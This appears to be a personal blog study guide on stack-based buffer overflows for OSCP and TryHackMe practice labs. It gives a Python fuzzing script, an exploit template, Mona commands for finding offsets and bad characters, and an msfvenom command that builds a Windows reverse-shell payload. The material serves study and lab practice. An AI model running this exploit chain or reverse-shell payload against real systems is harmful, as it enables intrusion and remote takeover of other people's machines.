← Home

Buffer Overflow

18 July, 2021

References

  1. johnjhacking's Buffer Overflow Guide
  2. TryHackMe's Buffer Overflow Room By Tib3rius
  3. TheCyberMentor's Buffer Overflow Guide

Tools I Used

  1. Immunity Debugger
  2. Python
  3. Mona Tools for Immunity Debugger

What is Buffer Overflow?

I strongly suggest reading the third link in the references, it has a great visual explanation of stack based buffer overflows, the type on the PWK course.

Routine

  1. Set Mona's working directory to a simpler known folder. This is useful later when comparing memory to check for bad characters.
!mona config -set workingfolder c:\mona\%p
  1. Fuzzing: This step involves sending a payload and seeing how the binary reacts. A large enough payload will be able to crash the program by overflowing into the EIP causing a bad memory access. The below snippet sends increasing length payloads to the binary and watches for an exception. Note the largest amount of bytes required to crash the program.
#!/usr/bin/env python3

import socket, time, sys

ip = "MACHINE_IP"

port = <PORT> 
timeout = 5
prefix = ""

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
  1. The previous step found the largest payload that would crash the program, however the exact size that will help in manipulating the EIP still needs to be found. To do this:

    • Send a defined pattern to the program. Create it using /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <max_bytes>
    • Note the contents of the EIP
    • Find that substring in the payload pattern /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <max_bytes> -q <EIP>
    • This will establish the offset at which the EIP is reached.

    Use the below script, set the payload and offset when found

import socket

ip = "MACHINE_IP"
port = <PORT> 

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
  1. Finding bad characters

    • Generate a byte array using mona, and exclude the null byte \x00 by default !mona bytearray -b "\x00". This will place it in the file $MONA_DIR/bytearray.bin
    • Generate a byte array using the below python snippet and set it as the payload in the above exploit script
    for x in range(1, 256):
        print("\\x" + "{:02x}".format(x), end='')
    print()
    
    • Run the exploit so that the payload is sent off, then compare the memory with the byte array generated by mona !mona compare -f C:\mona\oscp\bytearray.bin -a <ESP_ADDRESS>
    • Consider the bad characters one by one, remove it from the mona payload and the local payload generated using the python snippet and send it off again. Keep on doing this till the comparison says "Unmodified"
  2. After knowing the offset to manipulate the EIP, next step is to overwrite it to gain control of the program. Given that the ESP is also open to manipulation, the EIP can be conveniently pointed to an instruction that leads to the manipulated ESP. Basically, the EIP contain an instruction to move to ESP i.e. JMP ESP and the ESP can contain shell code i.e. a reverse shell payload.

    • Search for jmp esp in the binary using mona !mona jmp -r esp -cpb "\x00..." and set the retn to the address of that instruction in the above exploit. Keep in mind that it has to be written in Little Endian order.
    • Generate a reverse shell payload using msfvenom, copy it and set it as the payload in the above exploit
    msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00..." -f c
    
    • Add 16 or more bytes of NOP padding
    padding = "\x90" * 16
    

With all the variables deduced, listen for a reverse shell and run the exploit to catch it!